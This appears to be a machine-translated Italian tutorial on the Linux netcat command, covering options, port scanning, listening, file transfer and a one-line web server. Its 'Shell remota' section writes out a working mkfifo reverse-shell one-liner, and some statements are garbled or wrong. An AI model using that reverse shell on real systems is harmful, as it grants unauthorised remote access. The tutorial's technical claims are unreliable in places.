Metodi di pagamento Abuse

A cosa serve il comando NC in Linux

29.08.2024, 02:19

Il comando netcat è necessario per inviare e ricevere dati utilizzando i protocolli TCP e UDP. Non dispone di un'ampia gamma di funzioni, ma è sufficiente per il controllo delle connessioni e per il semplice debug. Come comunicare tramite il protocollo TCP? Questa domanda viene posta da molti utenti. In questo articolo risponderemo a questa domanda e mostreremo anche esempi di applicazione reale del comando.

Cosa fa il comando?

Il comando netcat (o nc) è un potente strumento per lavorare con le connessioni di rete. Viene spesso utilizzato dagli amministratori di sistema e dagli sviluppatori per vari compiti. Ecco le principali funzioni e caratteristiche di netcat:

  1. Stabilire connessioni TCP/UDP: consente di stabilire connessioni a host remoti utilizzando i protocolli TCP e UDP.
  2. Ascolto delle porte: può essere usato come server per ascoltare le connessioni in arrivo su una porta specifica.
  3. Trasferimento di dati: consente di trasferire dati tra computer in rete. Può essere utile per il trasferimento di file o per la messaggistica.
  4. Debug di applicazioni di rete: utilizzato per testare e debuggare i servizi di rete, consentendo di inviare e ricevere dati arbitrari.
  5. Creare semplici chat: è possibile impostare una semplice comunicazione di testo tra due sistemi.
  6. Port scanning: può essere utilizzato per verificare la presenza di porte aperte su host remoti.
  7. Tunnelling: può essere utilizzato per creare tunnel per reindirizzare il traffico attraverso altre porte o host.
  8. Lavorare con i proxy: può essere utilizzato per lavorare con i server proxy ed eseguire varie operazioni di rete.

netcat è uno strumento versatile che può essere utilizzato in un'ampia varietà di scenari, dalla semplice messaggistica alle complesse operazioni di rete.

Opzioni

Iniziamo a vedere la sintassi e le opzioni più diffuse:

  • -6 - utilizza il protocollo IPv6. Il valore predefinito è rispettivamente -4 e IPv4;
  • -h - visualizza la guida con l'elenco dei parametri disponibili;
  • -i - delay - aggiunge un ritardo tra l'invio di stringhe o la scansione delle porte. È impostato in secondi;
  • -l - modalità di ascolto. Usato con la specifica della porta;
  • -N - chiude la connessione quando viene raggiunta la fine del file durante l'invio;
  • -n - Lavora con gli indirizzi IP direttamente senza DNS, inoltre disabilita la scansione delle porte;
  • -P - nome_utente - specifica il nome dell'utente da collegare al proxy;
  • -x - address:port - specifica l'indirizzo e la porta per la connessione al proxy;
  • -p - port - specifica il numero di porta. Nella maggior parte dei casi la porta viene letta senza specificare il parametro;
  • -U - usa il socket di dominio UNIX (per la comunicazione tra processi);
  • -u - usa il protocollo UDP, per impostazione predefinita viene usato il TCP;
  • -v - modalità dettagliata. Utilizzato durante la scansione;
  • -W number_packets - chiude la connessione dopo aver ricevuto un certo numero di pacchetti;
  • -w timer - attiva il timer per limitare la durata della connessione. È impostato in secondi;
  • -z - disabilita l'invio di dati. Viene utilizzato durante la scansione.

Il comando ha la seguente forma (parametri indirizzo della porta):

$ nc

Di seguito vi spiegheremo come utilizzare il comando.

Controllo della porta

Il controllo è l'uso principale di netcat. È necessario utilizzare i due parametri -vz, per specificare l'indirizzo e la porta. È possibile specificare un intervallo di indirizzi, ma in questo caso è meglio setacciare solo le porte aperte con il comandogrep. Esaminiamo le porte dell'indirizzo della rete locale:

$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

Allo stesso modo, analizziamo le porte UDP aggiungendo il parametro -u:

$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

È bene conoscere la differenza principale tra TCP e UDP. In UDP le porte sono sempre disponibili.

Ascolto della porta

Il parametro -l è destinato all'ascolto della porta. Spesso è sufficiente, ma è possibile attivare la modalità dettagliata:

$ nc -nlv 8080

Ricordare che quando si utilizza il protocollo TCP, la porta deve essere libera, altrimenti apparirà l'errore Già in uso. Non tutte le porte possono essere utilizzate dagli utenti normali, ad esempio la porta 80 (HTTP), molto probabilmente sarà occupata da un altro processo e richiederà i diritti di superutente.

Scambio di file

Una capacità utile del comando è lo scambio di dati. Un semplice esempio è una chat room di testo. Per avviare una chat su un computer, eseguire l'utilità in modalità di ascolto della porta:

$ nc -lp 8080

Sull'altro computer, è necessario specificare l'indirizzo del primo computer e la stessa porta. Non dimenticate inoltre di controllare che la porta sia aperta:

$ nc 0.0.0.0 8080

In questo modo sarà possibile inviare e ricevere messaggi. In altre parole, il comando è destinato allo scambio di file. Il principio è lo stesso, solo che è necessario reindirizzare l'output a un file, cioè paste.txt:

$ nc -l 8080 > paste.txt

Sull'altro PC, il file copy.txt servirà da input. Non è superfluo utilizzare il parametro -N per chiudere la connessione dopo il trasferimento dei file:

$ nc -N 0.0.0.0 8080 < copy.txt

Per il trasferimento dei file è importante seguire la sequenza: prima aprire l'ascolto e solo dopo inviare il file. Il comando nc è un metodo funzionante, ma non il migliore per trasferire i file. Esistono strumenti più efficienti e utili per questo compito.

Un semplice server web

Poiché il comando NC non funziona con il protocollo TCP, consente di inviare e ricevere richieste HTTP. Pertanto, l'utility può diventare un semplice server web. Certo, in questo modo non si può fare nulla di più complicato di una pagina bianca, ma l'operazione richiederà pochissimo tempo e il vantaggio è che non è necessario installare nulla di aggiuntivo.

Nel modulo di esempio la risposta HTTP con il file index.html. A proposito di np stesso, è una buona idea impostare un timer con il parametro -w 1 per interrompere la connessione se il browser non lo fa:

$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done

Per ottenere dati da un sito web, si può formulare una richiesta e inviarla all'indirizzo e alla porta consigliati. Ma questo modo è piuttosto complicato, è meglio usare il comando CURL appropriato.

Shell remota

Sulla base degli esempi discussi in precedenza, non sarà difficile concludere che il comando consente di organizzare l'accesso remoto alla shell del computer. In precedenza, l'utilità NC prevedeva diversi parametri per aprire l'accesso al terminale. Il parametro -e è stato rimosso da tempo dall'utility, quindi non sarà più possibile accedere semplicemente al terminale. La sicurezza dell'applicazione stessa è diventata più elevata, ma può ancora funzionare insieme ad altre.

Mostriamo la connessione utilizzando il canale denominato mkfifo. Prima di tutto, iniziamo ad ascoltare la porta del PC a cui avremo accesso:

$ nc -lvnp 8080

Andiamo direttamente al comando per aprire il terminale. Per prima cosa cancelliamo il vecchio canale denominato(rm /tmp/f), creiamone uno nuovo al suo posto(mkfifo /tmp/f), leggiamone il contenuto(cat /tmp/f) e inviamo un comando di shell al suo output(sh -i 2>&1). Dopodiché, non resta che eseguire nc con l'output al nostro canale nominato(nc 0.0.0.0.0 8080 >/tmp/f):

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Tenete presente che questo è un modo di hackerare, tuttavia può essere utile se ci sono problemi con ssh. Per prevenire l'attacco, configurare una politica di sicurezza e un firewall.